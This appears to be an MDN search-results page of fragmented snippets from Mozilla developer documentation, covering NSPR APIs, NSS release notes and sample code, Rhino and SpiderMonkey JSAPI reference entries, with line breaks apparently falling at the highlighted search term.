ch lets you use mathml inside non-xhtml documents.
... better rendering of mathematical symbols, especially stret
chy operators.
... interview to the apc magazine where mit
chell baker mentions roger sidje's work on mathml.
Mozilla Development Tools
if you are doing active development,
checking out source code from one of these is preferable to downloading an ar
chived snapshot, as you get up-to-the-minute
changes.
...it is our home-grown web-based tool for wat
ching the up-to-the-minute goings-on in our cvs repository (viewing
checkins and log messages, reading diffs, etc.) tinderbox tinderbox is for knowing when the tree is in flames.
... it is our home-grown web-based tool for wat
ching the progress of the continuous builds that we run on multiple platforms.
... it is how we are able to tell when a
checkin has broken the build on some platform, and how we know whi
ch person needs to be viciously flogged.
dtrace
sudo dtrace -n 'ma
ch_kernel::wakeup { @[ustack()] = count(); }' -p $firefox_pid > $output_file let's break that down further.
... the -n option combined with the ma
ch_kernel::wakeup selects a probe point.
... ma
ch_kernel is the module name and wakeup is the probe name.
...dtrace will then print to the output file a number of stack traces, along with a wakeup count for ea
ch one.
MailNews
it provides a number of functions and capabilities, including: communications protocols - smtp, pop3, imap, nntp message management, including sear
ch and filtering message composition address book the mailnews code lives in the mailnews/ directory of comm-central.
... asynctestutils extended framework the asynctestutils extended framework is one me
chanism for testing the mailnews component of thunderbird.
... see mailnews automated testing for a description of the other testing me
chanisms.
...it allows reviewers to quickly pick up regressions in pat
ches and helps developers to think about different cases.
Process Forking in NSPR
the threads provided in netscape portable runtime (nspr) are implemented using different me
chanisms on the various platforms.
...all the threads present in the parent process may be replicated in the
child process, only the calling thread may be replicated in the
child process or only the calling kernel thread may be replicated.
... so, to be consistent across all platforms, it is suggested that when using fork in a nspr thread; the exec function should be called in the
child process.
... no nspr functions should be called in the
child process before the exec call is made.
Atomic Operations
this
chapter describes the global functions you use to perform atomic operations.
...since not all operating environments provide access to su
ch functions, their performance may vary considerably.
...on systems that do not provide direct access to atomic operators, nspr emulates the capabilities by using its own locking me
chanisms.
... for su
ch systems, nspr performs atomic operations just as efficiently as the client could.
PRTime
syntax #include <prtime.h> typedef print64 prtime; description this type is a 64-bit integer representing the number of microseconds since the nspr epo
ch, midnight (00:00:00) 1 january 1970 coordinated universal time (utc).
... a time after the epo
ch has a positive value, and a time before the epo
ch has a negative value.
... in nspr, we use the more familiar term greenwi
ch mean time (gmt) in place of utc.
... note: keep in mind that while prtime stores times in microseconds since epo
ch, javascript date objects store times in milliseconds since epo
ch.
PR_CWait
wait for a notification that a monitor's state has
changed.
... timeout the amount of time (in printervaltime units) that the thread is willing to wait for an explicit notification before being res
cheduled.
... pr_failure indicates either that the monitor could not be located in the ca
che or that the monitor was located and the calling thread was not the thread that held the monitor's mutex.
... description using the value specified in the address parameter to find a monitor in the monitor ca
che, pr_cwait waits for a notification that the monitor's state has
changed.
PR_CreateThread
start a pointer to the thread's root function, whi
ch is called as the root of the new thread.
...if you pass zero in this parameter, pr_createthread
chooses the most favorable ma
chine-specific stack size.
...for more information on locks and thread syn
chronization, see introduction to nspr.
...you can then use pr_jointhread to syn
chronize the termination of another thread.
PR ImportTCPSocket
for example, on posix systems, nspr will put the native file descriptor (an int) in non-blocking mode by calling fcntl to set the o_nonblock file status flag on the native file descriptor, and then nspr will call socket functions su
ch as recv, send, and poll on the native file descriptor.
... warning in theory, code that uses pr_importtcpsocket may break when nspr's implementation
changes.
...using pr_importtcpsocket is mu
ch more convenient than writing an nspr i/o layer that wraps your native tcp sockets.
...if you are not sure whether pr_importtcpsocket is right for you, please ask in the mozilla.dev.te
ch.nspr newsgroup.
PR_Initialize
syntax #include <prinit.h> printn pr_initialize( prprimordialfn prmain, printn argc,
char **argv, pruintn maxptds); parameters pr_initialize has the following parameters: prmain the function that becomes the primordial thread's root function.
... argc the length of the argument vector, whether passed in from the host's program-laun
ching facility or fabricated by the actual main program.
... this approa
ch conforms to standard c programming practice.
...this approa
ch conforms to standard c programming practice.
PR_MkDir
syntax #include <prio.h> prstatus pr_mkdir( const
char *name, printn mode); parameters the function has the following parameters: name the name of the directory to be created.
...sear
ch by owner.
...sear
ch by group.
...sear
ch by others.
PR_PushIOLayer
id a prdescidentity object for the layer on the stack above whi
ch the new layer is to be added.
... even if the id parameter indicates the topmost layer of the stack, the value of the file descriptor describing the original stack will not
change.
...the correct me
chanism to access the object is to get a pointer to it by calling pr_getidentitieslayer.
...if the original container was allocated using a different me
chanism than used by the runtime, the default calling of the layer's destructor by the runtime will fail pr_createiolayerstub is provided to allocate layer objects and template implementations).
PR_SetConcurrency
virtual processors are actuallyglobal threads, ea
ch of whi
ch is designed to support an arbitrary number oflocal threads.
... since global threads are s
cheduled by the host operating system, this model is particularly applicable to multiprocessor ar
chitectures, where true parallelism is possible.
... however, it may also prove advantageous on uniprocessor systems to reduce the impact of having a locally s
cheduled thread calling incidental blocking functions.
... in su
ch cases, all the threads being supported by the virtual processor will block, but those assigned to another virtual processor will be unaffected.
PR_WaitCondVar
syntax #include <prcvar.h> prstatus pr_waitcondvar( prcondvar *cvar, printervaltime timeout); parameters pr_waitcondvar has the following parameters: cvar the condition variable on whi
ch to wait.
...the value pr_interval_no_wait causes the thread to release the lock, possibly causing a res
cheduling within the runtime, then immediately attempt to reacquire the lock and resume.
...when s
cheduled, the thread attempts to reacquire the lock that it held when pr_waitcondvar was called.
... any value other than pr_interval_no_timeout or pr_interval_no_wait for the timeout parameter will cause the thread to be res
cheduled due to either explicit notification or the expiration of the specified interval.
PR_strtod
syntax #include <prdtoa.h> prfloat64 pr_strtod(const
char *s00,
char **se); parameters the function has these parameters: s00 the input string to be scanned.
... se a pointer that, if not null, will be assigned the address of the last
character scanned in the input string.
...the string is scanned up to the first unrecognized
character.
... if the value of se is not (
char **) null, pr_strtod stores a pointer to the
character terminating the scan in *se.
Process Initialization
this
chapter describes the nspr api for versioning, process initialization, and shutdown of nspr.
... identity and versioning initialization and cleanup module initialization identity and versioning name and version constants pr_name pr_version pr_version
check initialization and cleanup nspr detects whether the library has been initialized and performs implicit initialization if it hasn't.
... implicit initialization should suffice unless a program has specific sequencing requirements or needs to
characterize the primordial thread.
...pr_callonce ensures that su
ch initialization code is called only once.
Process Management and Interprocess Communication
this
chapter describes the nspr routines that deal with processes.
...a new process can inherit specified file descriptors from its parent, and the parent can redirect the standard i/o streams of the
child process to specified file descriptors.
... note that the functions described in this
chapter are not available for macos or win16 operating systems.
...ing the attributes of a new process the functions that create and manipulate attribute sets of new processes are: pr_newprocessattr pr_resetprocessattr pr_destroyprocessattr pr_processattrsetstdioredirect pr_processattrsetcurrentdirectory pr_processattrsetinheritablefd creating and managing processes the functions that create and manage processes are: pr_createprocess pr_deta
chprocess pr_waitprocess pr_killprocess ...
NSPR API Reference
introduction to nspr nspr naming conventions nspr threads thread s
cheduling setting thread priorities preempting threads interrupting threads nspr thread syn
chronization locks and monitors condition variables nspr sample code nspr types calling convention types algebraic types 8-, 16-, and 32-bit integer types signed integers unsigned integers 64-bit integer types floating-point integer type native os integer types miscellaneous types size type pointer difference types boolean types status type for return values threads threading types and constants threading functions creating, joining, and identifying threads controlling thread priorities con...
...rrupting and yielding setting global thread concurrency getting a thread's scope process initialization identity and versioning name and version constants initialization and cleanup module initialization locks lock type lock functions condition variables condition variable type condition variable functions monitors monitor type monitor functions ca
ched monitors ca
ched monitor functions i/o types directory type file descriptor types file info types network address types types used with socket options functions type used with memory-mapped i/o offset interpretation for seek functions i/o functions functions that operate on pathnames functions that act on file descriptors directory i/o functions socket manipulation function...
... dynamic library linking library linking types prlibrary prstaticlinktable library linking functions pr_setlibrarypath pr_getlibrarypath pr_getlibraryname pr_freelibraryname pr_loadlibrary pr_unloadlibrary pr_findsymbol pr_findsymbolandlibrary finding symbols defined in the main executable program platform notes dynamic library sear
ch path exporting symbols from the main executable program process management and interprocess communication process management types and constants prprocess prprocessattr process management functions setting the attributes of a new process creating and managing processes multiwait receive system information and environment variables logging conditi...
...onal compilation and execution log types and variables prlogmoduleinfo prlogmodulelevel nspr_log_modules nspr_log_file logging functions and macros pr_newlogmodule pr_setlogfile pr_setlogbuffering pr_logprint pr_logflush pr_log_test pr_log pr_assert pr_assert pr_not_rea
ched use example instrumentation counters named shared memory shared memory protocol named shared memory functions anonymous shared memory anonymous memory protocol anonymous shared memory functions ipc semaphores ipc semaphore functions thread pools thread pool types thread pool functions random number generator random number generator function hash tables hash tables and type constants hash table functions nspr error handling ...
NSPR release process
five files need to be updated: configure.in, configure, repackage.sh, prinit.h, and ver
check.c.
... make a dummy
change (add or remove a blank line) to mozilla/nsprpub/config/prdepend.h.
... make sure the nss tinderboxes (whi
ch also build and test nspr) are all green.
... make a dummy
change (add or remove a blank line) to mozilla/nsprpub/config/prdepend.h.
CERT_FindCertByDERCert
find a certificate in the database that mat
ches a der-encoded certificate.
...to find the certificate that mat
ches the der-encoded certificate.
... a mat
ch is found when the issuer and serial number of the der-encoded certificate are found on a certificate in the certificate database.
... returns a pointer to a certcertificate representing the certificate in the database that mat
ched the dercert, or null if none was found.
JSS
jss source should now be
checked out from the github: git clone git@github.com:dogtagpki/jss.git -- or -- git clone https://github.com/dogtagpki/jss.git all future upstream enquiries to jss should now use the pagure issue tracker system: https://pagure.io/jss/issues documentation regarding the jss project should now be viewed at: http://www.dogtagpki.org/wiki/jss note: as mu
ch of the jss documentation is sorely out-of-date, updated information will be a work in progress, and many portions of any legacy documentation will be re-written over the course of time.
...jss supports most of the security standards and encryption te
chnologies supported by nss.
...a current limitation to the configured sunpkcs11-nss bridge configuration is if you add a pkcs#11 module to the nss database su
ch as for a smartcard, you won't be able to access that smartcard through the sunpkcs11-nss bridge.
... documentation before you use jss, you should have a good understanding of the crypto te
chnologies it uses.
NSS 3.12.9 release notes
<center> 2010-09-23</center> <center> newsgroup: mozilla.dev.te
ch.crypto</center> introduction network security services (nss) 3.12.9 is a pat
ch release for nss 3.12.
... you also need to download the nspr 4.8.7 binary distributions to get the nspr 4.8.7 header files and shared libraries, whi
ch nss 3.12.9 requires.
... bug 609068: implement j-pake in freebl bug 607058: crash [@ nss_cms_decoder_work_data] bug 613394: november/december 2010 bat
ch of nss root ca
changes bug 610843: need way to recover softoken in
child after fork() bug 617492: add pk11_keygenwithtemplate function to pk11wrap (for firefox sync) bug 610162: sha-512 and sha-384 hashes are incorrect for inputs of 512mb or larger when running under windows and other 32-bit platforms (fx 3.6.12 and 4.0b6) bug 518551: vfy
chain crashes in pkits tests.
... bug 596798: win_rand.c (among others) uses unsafe _snwprintf bug 597622: do not use the sec_error_bad_info_access_location error code for bad crl distribution point urls bug 619268: memory leaks in cert_
changecerttrust and cert_savesmimeprofile bug 585518: addtrust qualified ca root serial wrong in certdata.txt trust entry bug 337433: need cert_findcertbynicknameoremailaddrbyusage bug 592939: expired cas in certdata.txt documentation <for a="" class="new " documentation="" href="/en/index.html#documentation" list="" nss="" of="" pages="" primary="" rel="internal" see="" the="" title="en...
NSS 3.15.1 release notes
introduction network security services (nss) 3.15.1 is a pat
ch release for nss 3.15.
... the hash function used in the signature for tls 1.2 client authentication must be the hash function of the tls 1.2 prf, whi
ch is always sha-256 in nss 3.15.1.
... new pkcs #11 me
chanisms none.
... notable
changes in nss 3.15.1 bug 856060 - enforce name constraints on the common name in libpkix when no subjectaltname is present.
NSS 3.16.2.2 release notes
introduction network security services (nss) 3.16.2.2 is a pat
ch release for nss 3.16.
...this is a pat
ch release to fix a regression.
... notable
changes in nss 3.16.2.2 bug 1049435:
change rsa_privatekey
check to not require p > q.
... this fixes a regression introduced in nss 3.16.2 that prevented nss from importing some rsa private keys (su
ch as in pkcs #12 files) generated by other crypto libraries.
NSS 3.33 release notes
introduction the network security services (nss) team has released nss 3.33, whi
ch is a minor release.
... nss 3.33 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_33_rtm/src/ notable
changes in nss 3.33 tls compression is no longer supported.
... when nss is compiled without nss_force_fips=1 startup
checks are no longer performed.
... in secport.h nss_securememcmpzero -
check if a memory region is all zero in constant time.
NSS 3.38 release notes
introduction the nss team has released network security services (nss) 3.38, whi
ch is a minor release.
... when using certutil -o to print the
chain for a given certificate nickname, the new parameter --simple-self-signed may be provided, whi
ch can avoid ambiguous output in some scenarios.
... new functions in secitem.h secitem_makeitem - allocate and make an item with the requested contents new macros in ssl.h ssl_record_size_limit - used to control the tls record size limit extension notable
changes in nss 3.38 fixed cve-2018-0495 in bug 1464971.
... nss automatically enables ca
ching for sql database storage on linux, if it is located on a network filesystem that's known to benefit from ca
ching.
NSS 3.43 release notes
introduction the nss team has released network security services (nss) 3.43 on 16 mar
ch 2019, whi
ch is a minor release.
... new in nss 3.43 new functionality new functions in se
chash.h hash_gethashoidtagbyhashtype - convert type hash_hashtype to type secoidtag in sslexp.h ssl_sendcertificaterequest - allow server to request post-handshake client authentication.
...note that while the me
chanism is present, post-handshake authentication is currently not tls 1.3 compliant due to bug 1532312 notable
changes in nss 3.43 the following ca certificates were added: cn = emsign root ca - g1 sha-256 fingerprint: 40f6af0346a99aa1cd1d555a4e9cce62c7f9634603ee406615833dc8c8d00367 cn = emsign ecc root ca - g3 sha-256 fingerprint: 86a1ecba089c4a8d3bbe2734c612ba341d813e043cf9e8a862cd5c57a36bbe6b cn = emsign root ca - c1 sha-256 fingerprint: 125609aa301da0a249b97a8239cb6a34216f44dcac9f3954b14292f2e8c8608f cn = emsign ecc root ca - c3 sha-256 fingerprint: bc4d809b15189d78db3e1d8cf4f9726a795da1643ca5f1358e1ddb0edc0d7eb3 ...
...s fixed in nss 3.43 bug 1528669 and bug 1529308 - improve gyp build system handling bug 1529950 and bug 1521174 - improve nss s/mime tests for thunderbird bug 1530134 - if docker isn't installed, try running a local clang-format as a fallback bug 1531267 - enable fips mode automatically if the system fips mode flag is set bug 1528262 - add a -j option to the strsclnt command to specify sigs
chemes bug 1513909 - add manual for nss-policy-
check bug 1531074 - fix a deref after a null
check in seckey_setpublicvalue bug 1517714 - properly handle esni with hrr bug 1529813 - expose hkdf-expand-label with me
chanism bug 1535122 - align tls 1.3 hkdf trace levels bug 1530102 - use getentropy on compatible versions of freebsd.
NSS 3.49 release notes
introduction the nss team has released network security services (nss) 3.49 on 3 january 2020, whi
ch is a minor release.
... notable
changes in nss 3.49 the legacy dbm database, libnssdbm, is no longer built by default when using gyp builds.
... bug 1606025 - remove -wmaybe-uninitialized warning in sslsnce.c bug 1606119 - fix ppc hw crypto build failure bug 1605545 - memory leak in pk11install_platform_generate bug 1602288 - fix build failure due to missing posix signal.h bug 1588714 - implement
checkarmsupport for win64/aar
ch64 bug 1585189 - nss database uses 3des instead of aes to encrypt db entries bug 1603257 - fix ubsan issue in softoken ckm_nss_
cha
cha20_ctr initialization bug 1590001 - additional hrr tests (cve-2019-17023) bug 1600144 - treat clienthello with message_seq of 1 as a second clienthello bug 1603027 - test that esni is regenerated after helloretryrequest bug 1593167 - int...
...ermittent mis-reporting potential security risk sec_error_unknown_issuer bug 1535787 - fix automation/release/nss-release-helper.py on macos bug 1594933 - disable building dbm by default bug 1562548 - improve gcm perfomance on aar
ch32 this bugzilla query returns all the bugs fixed in nss 3.49: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.49 compatibility nss 3.49 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.51 release notes
introduction the nss team has released network security services (nss) 3.51 on 6 mar
ch 2020, whi
ch is a minor release.
... notable
changes in nss 3.51 updated dtls 1.3 implementation to draft-34.
... bug 1611209 - correct swapped pkcs11 values of ckm_aes_cmac and ckm_aes_cmac_general bug 1612259 - complete integration of wy
cheproof ecdh test cases bug 1614183 -
check if ppc __has_include(<sys/auxv.h>) bug 1614786 - fix a compilation error for ‘getfipsenv’ "defined but not used" bug 1615208 - send dtls version numbers in dtls 1.3 supported_versions extension to avoid an incompatibility.
... bug 1538980 - secu_readderfromfile calls strstr on a string that isn't guaranteed to be null-terminated bug 1561337 - correct a warning for comparison of integers of different signs: 'int' and 'unsigned long' in security/nss/lib/freebl/ecl/ecp_25519.c:88 bug 1609751 - add test for mp_int clamping bug 1582169 - don't attempt to read the fips_enabled flag on the ma
chine unless nss was built with fips enabled bug 1431940 - fix a null pointer dereference in blake2b_update bug 1617387 - fix compiler warning in secsign.c bug 1618400 - fix a openbsd/arm64 compilation error: unused variable 'getauxval' bug 1610687 - fix a crash on unaligned cmaccontext.aes.keys
chedule when using aes-ni intrinsics this bugzilla query returns all the bugs fixed in nss 3.51: https://bugzilla.mozilla.org/...
NSS 3.53 release notes
notable
changes in nss 3.53 when using the makefiles, nss can be built in parallel, speeding up those builds to more similar performance as the build.sh/ninja/gyp system.
... several root certificates in the mozilla program now set the cka_nss_server_distrust_after attribute, whi
ch nss consumers can query to further refine trust decisions.
...ug 1639033 - fix various compile warnings in nss bug 1640041 - fix a null pointer in security/nss/lib/ssl/sslencode.c:67 bug 1640042 - fix a null pointer in security/nss/lib/ssl/sslsock.c:4460 bug 1638289 - avoid multiple definitions of sha{256,384,512}_* symbols when linking libfreeblpriv3.so in firefox on ppc64le bug 1636389 - relocate deprecated seed algorithm bug 1637083 - lib/ckfw: no su
ch file or directory.
... bug 1561331 - additional modular inverse test bug 1629553 - rework and cleanup gmake builds bug 1438431 - remove mkdepend and "depend" make target bug 290526 - support parallel building of nss when using the makefiles bug 1636206 - hacl* update after
changes in libintvector.h bug 1636058 - fix building nss on debian s390x, mips64el, and riscv64 bug 1622033 - add option to build without seed this bugzilla query returns all the bugs fixed in nss 3.53: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.53 compatibility nss 3.53 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.54 release notes
introduction the nss team has released network security services (nss) 3.54 on 26 june 2020, whi
ch is a minor release.
... notable
changes in nss 3.54 support for tls 1.3 external pre-shared keys (bug 1603042).
... certificate authority
changes the following ca certificates were added: bug 1645186 - certsign root ca g2 sha-256 fingerprint: 657cfe2fa73faa38462571f332a2363a46fce7020951710702cdfbb6eeda3305 bug 1645174 - e-szigno root ca 2017 sha-256 fingerprint: beb00b30839b9bc32c32e4447905950641f26421b15ed089198b518ae2ea1b99 bug 1641716 - microsoft ecc root certificate authority 2017 sha-256 fingerprint: 358df39d764af9e1b766e9c972df352ee15cfac227af6ad1d70e8e4a6edcba02 bug 1641716 - microsoft rsa root certificate authority 2017 sha-256 fingerprint: c741f70f4b2a8d88bf2e71c14122ef53ef10eba0cfa5e64cfa20f418853073e0 the following ca ...
... bug 1644774 - ssl gtests to use clearserverca
che when resetting self-encrypt keys.
NSS 3.56 release notes
introduction the nss team has released network security services (nss) 3.56 on 21 august 2020, whi
ch is a minor release.
... notable
changes in nss 3.56 nspr dependency updated to 4.28.
... bug 1656986 - properly detect arm64 during gyp build ar
chitecture detection.
... bug 1588941 - send empty certificate message when s
cheme selection fails.
NSS Sample Code sample6
* in a real app, this function should obtain the password using secure means * su
ch as prompting an operator, or retrieving it over a secure communication *
channel */
char *passwdcb(pk11slotinfo *info, prbool retry, void *arg); int main(int argc,
char **argv) { secstatus rv; /* initialize nss */ pk11_setpasswordfunc(passwdcb); /* the nss db must be initialized read-write since we'll be creating * keys in it.
...should succeed on first run on a fresh db, * should fail on successive runs because key with that id already exists */ genkey(2); /* generate a key with id 1 - this will fail because key with that id * already exists */ genkey(1); } void genkey(int id) { pk11slotinfo* slot = null; pk11symkey* key = null; secitem keyiditem; int keyid[1]; ck_me
chanism_type cipherme
ch; /* using ckm_aes_cbc_pad me
chanism for example */ cipherme
ch = ckm_aes_cbc_pad; slot = pk11_getinternalkeyslot(); /* slot = pk11_getbestslot(cipherme
ch, null); didn't work.
... * since we're using aes in this example, we're specifying * one of the valid keysizes (16, 24, 32) */ key = pk11_tokenkeygen(slot, cipherme
ch, 0, 32 /*keysize*/, &keyiditem, pr_true, 0); if (key == null) { fprintf(stderr, "pk11_tokenkeygen failed (err %d)\n", pr_geterror()); pk11_freeslot(slot); return; } fprintf(stderr, "key length of generated key is %d\n", pk11_getkeylength(key)); fprintf(stderr, "me
chanism of key is %d (asked for %d)\n", pk11_getme
chani...
...sm(key), cipherme
ch); pk11_freesymkey(key); key = pk11_findfixedkey(slot, cipherme
ch, &keyiditem, 0); if (key == null) { fprintf(stderr, "pk11_findfixedkey failed (err %d)\n", pr_geterror()); pk11_freeslot(slot); return; } fprintf(stderr, "found key!\n"); fprintf(stderr, "key length of generated key is %d\n", pk11_getkeylength(key)); fprintf(stderr, "me
chanism of key is %d (asked for %d)\n", pk11_getme
chanism(key), cipherme
ch); pk11_freesymkey(key); pk11_freeslot(slot); }
char *passwdcb(pk11slotinfo *info, prbool retry, void *arg) { if (!retry) return pl_strdup("test"); else return null; } ...
PKCS11 module installation
pkcs #11 modules are external modules whi
ch add to firefox support for smartcard readers, biometric security devices, and external certificate stores.
...
choose "advanced" > "encryption" > "security devices"
choose "load" enter a name for the security module, su
ch as "my client database".
... note: there is currently a bug in firefox where international
characters may cause problems.
...
choose "browse..." to find the location of the pkcs #11 module on your local computer, and
choose "ok" when done.
FC_FindObjectsInit
name fc_findobjectsinit - initialize the parameters for an object sear
ch.
... description fc_findobjectsinit sets the attribute list for an object sear
ch.
... if fc_findobjectsinit is successful fc_findobjects may be called one or more times to retrieve handles of mat
ching objects.
... a user must log into the token (to assume the nss user role) before sear
ching for secret or private key objects.
NSS Key Functions
this
chapter describes two functions used to manipulate private keys and key databases su
ch as the key3.db database provided with nss.
... this was converted from "
chapter 6: key functions".
...when you call cert_destroycertificate or seckey_destroyprivatekey, the function decrements the reference count and, if the reference count rea
ches zero as a result, both frees the memory and sets all the bits to zero.
...if you attempt to do so, the
change affects all the shallow copies of that structure and can cause severe problems.
sslkey.html
if you are inclined to help with this migration, your help would be very mu
ch appreciated.
... upgraded documentation may be found in the current nss reference key functions
chapter 6 key functions this
chapter describes two functions used to manipulate private keys and key databases su
ch as the key3.db database provided with communicator.
...when you call cert_destroycertificate or seckey_destroyprivatekey, the function decrements the reference count and, if the reference count rea
ches zero as a result, both frees the memory and sets all the bits to zero.
...if you attempt to do so, the
change affects all the shallow copies of that structure and can cause severe problems.
Pork Tool Development
the diff file is generated using the "pat
cher" class.
...this can be translated to an unboxedloc, whi
ch has a line and column offset (see renamer.cc:65).
...cppsourceloc will
change the previously provided location information (in variable cpp_source_loc._loc) from post-location to pre-location.
... notes the #static
channel on irc.mozilla.org is for discussion of pork, dehydra, and other static analysis tools.
Pork
pork is a c++ parsing and rewriting tool
chain.
... the core of pork is a c++ parser that provides exact
character positions for the start and end of every ast node, as well as the set of macro expansions that contain any location.
...please refer to the oink link below for a more up-to-date tool
chain.
... pork is based on the elsa (and oink) tool
chain, and the mcpp preprocessor.
Rhino and BSF
the bean scripting framework (or bsf) was originally developed by ibm and now published as open source as a project at the apa
che software foundation.
...see xalan-java extensions for more information on adding javascript to xsl and the description of the optional script task in the apa
che ant manual for using scripting in ant build files.
... using bsf with rhino now that the apa
che jakarta bean scripting framework (bsf), version 2.4.0, has been officially released, you can use rhino easily with bsf.
... see http://commons.apa
che.org/proper/commons-bsf/index.html.
Rhino optimization
no class files are generated, whi
ch may improve memory usage depending on your system.
...simple data and type flow analysis is performed to determine whi
ch javascript variables can be allocated to java vm registers, and whi
ch variables are used only as numbers.
...function call targets are speculatively pre-ca
ched (based on the name used in the source) so that dispat
ching can be direct, pending runtime confirmation of the actual target.
...so if a script is compiled with the context's optimizationlevel set to 1, it will be executed with those optimizations, regardless of the optimizationlevel of the context in whi
ch it is executed.
The JavaScript Runtime
ea
ch javascript script or function is compiled to a separate class.
... string java.lang.
charsequence (java.lang.string or org.mozilla.javascript.consstring) object org.mozilla.javascript.scriptable in addition, ecma refers to objects that implement [[call]] as functions.
... if the services provided by defineclass are insufficient, try other methods of scriptableobject and functionobject, su
ch as defineproperty and definefunctionproperties.
...any host objects that are defined are responsible for any syn
chronization required to run safely from multiple threads.
JS::Rooted
syntax js::rooted<t> var(cx); js::rooted<t> var(cx, initial); js::rooted<t> var(rt); js::rooted<t> var(rt, initial); name type description cx jscontext * the context in whi
ch to add the root.
... rt jsruntime * the runtime in whi
ch to add the root.
... js::rooted<t> should be used whenever a local variable's value may be held live across a call whi
ch can trigger a gc.
...in types: namespace js { typedef rooted<jsobject*> rootedobject; typedef rooted<jsfunction*> rootedfunction; typedef rooted<jsscript*> rootedscript; typedef rooted<jsstring*> rootedstring; typedef rooted<js::symbol*> rootedsymbol; // added in spidermonkey 38 typedef rooted<jsid> rootedid; typedef rooted<js::value> rootedvalue; } see also mxr id sear
ch for js::rooted mxr id sear
ch for js::rootedobject mxr id sear
ch for js::rootedfunction mxr id sear
ch for js::rootedscript mxr id sear
ch for js::rootedstring mxr id sear
ch for js::rootedsymbol mxr id sear
ch for js::rootedid mxr id sear
ch for js::rootedvalue js::handle js::mutablehandle gc rooting guide bug 756823 bug 761391 - added js::rootedscript bug 645416 - added js::rootedsymbol ...
JS::SetLargeAllocationFailureCallback
syntax void js::setlargeallocationfailurecallback(jsruntime *rt, js::largeallocationfailurecallback afc, void *data); name type description rt jsruntime * the jsruntime for whi
ch to set the gc callback.
... data void * data parameter whi
ch will be passed to js::largeallocationfailurecallback.
...added in spidermonkey 38 description if a large allocation fails when calling pod_{calloc,realloc}cangc, the js engine may call the large-allocation- failure callback, if set, to allow the embedding to flush ca
ches, possibly perform shrinking gcs, etc.
... see also mxr id sear
ch for js::setlargeallocationfailurecallback mxr id sear
ch for js::largeallocationfailurecallback bug 936236 bug 987995 - added data parameter ...
JS::SetOutOfMemoryCallback
syntax void js::setoutofmemorycallback(jsruntime *rt, js::outofmemorycallback cb, void *data); name type description rt jsruntime * the jsruntime for whi
ch to set the gc callback.
... data void * data parameter whi
ch will be passed to js::outofmemorycallback.
...added in spidermonkey 38 description unlike the error reporter, whi
ch is only called if the exception for an oom bubbles up and is not caught, the js::outofmemorycallback is called immediately at the oom site to allow the embedding to capture the current state of heap allocation before anything is freed.
... see also mxr id sear
ch for js::setoutofmemorycallback mxr id sear
ch for js::outofmemorycallback bug 969415 bug 987995 - added data parameter ...
JSConstDoubleSpec
syntax template<typename t> struct jsconstscalarspec { const
char *name; t val; /* uint8_t flags; // obsolete from jsapi 35 uint8_t spare[3]; // obsolete from jsapi 35 */ }; typedef jsconstscalarspec<double> jsconstdoublespec; typedef jsconstscalarspec<int32_t> jsconstintegerspec; // added in spidermonkey 38 name type description val double or int32_t value for the double or integer.
... name const
char * name to assign the double.
... see also mxr id sear
ch for jsconstdoublespec mxr id sear
ch for jsconstintegerspec js_defineconstdoubles.
... js_defineconstintegers bug 1066020 -
changed to template, and removed flags and spare ...
JSFunctionSpec
syntax struct jsfunctionspec { const
char *name; jsnativewrapper call; uint16_t nargs; uint16_t flags; const
char *selfhostedname; }; typedef struct jsnativewrapper { jsnative op; const jsjitinfo *info; } jsnativewrapper; name type description name const
char * the function's name.
... selfhostedname const
char * the function's name in self-hosted javascript code.
...to define an array element, cast the element's index value to const
char*, initialize the name field with it, and specify the jsprop_index attribute in flags.
...see also mxr id sear
ch for jsfunctionspec jspropertyspec jsnative js_fs js_fn js_sym_fn js_fninfo js_self_hosted_fn js_self_hosted_sym_fn js_sym_fnspec js_fnspec js_fs_end property attributes js_definefunctions js_initclass ...
JSID_VOID
an additional jsid whi
ch is used to indicate the absence of a valid jsid.
...a void jsid is not a valid id and only arises as an exceptional api return value, su
ch as in js_nextproperty.
... jsid_voidhandle is the handle to the jsid whi
ch value is jsid_void.
... see also mxr id sear
ch for jsid_void mxr id sear
ch for jsid_voidhandle bug 912411 ...
JSMarkOp
syntax typedef uint32 (* jsmarkop)(jscontext *cx, jsobject *obj, void *arg); name type description cx jscontext * the js context in whi
ch the mark phase of garbage collection is occurring.
... arg void * opaque data whi
ch the mark hook must pass through to js_markgcthing.
... description call js_markgcthing for ea
ch gc thing directly rea
chable from obj.
... use jsval_is_gcthing to
check whether a value needs to be marked and jsval_to_gcthing to convert the jsval to a pointer.
JSObjectOps.defaultValue
details of the api may
change from one release to the next.
... syntax typedef jsbool (*jsconvertop)(jscontext *cx, jsobject *obj, jstype type, jsval *vp); name type description cx jscontext * pointer to the js context in whi
ch the conversion is needed.
...many expressions in the ecmascript language, su
ch as a+b, involve implicit conversion of the operands using [[defaultvalue]].
... js_convertstub implements the default behavior for the jsclass.convert hook, whi
ch is to call obj.valueof() and obj.tostring() in accordance with the algorithm in es5 §8.12.8.
JSPrincipalsTranscoder
ea
ch script function is associated with principals, whi
ch poses a problem for xdr.
... the callback xdr-encodes or -decodes a principals instance, based on whether xdr->mode is jsxdr_encode, in whi
ch case *principalsp should be encoded; or jsxdr_decode, in whi
ch case implementations must return a held (via jsprincipals_hold), non-null *principalsp out parameter.
... return js_true on success, js_false on any error, whi
ch the implementation must have reported.
... mxr id sear
ch for jsprincipalstranscoder ...
JSReserveSlotsOp
syntax typedef uint32 (* jsreserveslotsop)(jscontext *cx, jsobject *obj); name type description cx jscontext * the js context in whi
ch the new object is being created.
...a class cannot freely use a reserveslots hook to reserve a different number of slots for ea
ch object.
... rather, within a jsruntime, every call to the same reserveslots hook must return the same value (excepting a few internal classes su
ch as function, call, and block).
... jsclass hooks jsclass offers the following hook: the jsclass.reserveslots callback is called ea
ch time a new object is created.
JSResolveOp
syntax typedef bool (* jsresolveop)(jscontext *cx, js::handleobject obj, js::handleid id, bool *resolvedp); // added in jsapi 36 typedef bool (* jsresolveop)(jscontext *cx, js::handleobject obj, js::handleid id); // obsolete since jsapi 36 name type description cx jscontext * pointer to the js context in whi
ch the property access is taking place.
... description jsresolveop callback is a hook whi
ch is called when a property is not found on an object.
... note: jsnewresolveop provides a
cheaper way to resolve lazy properties.
... see also mxr id sear
